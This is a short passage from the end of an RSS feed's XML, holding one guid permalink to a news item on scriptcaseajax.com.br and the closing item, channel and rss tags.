<guid isPermaLink="true">http://www.scriptcaseajax.com.br/news.php?item.9.2</guid>
</item>
				</channel>
				</rss>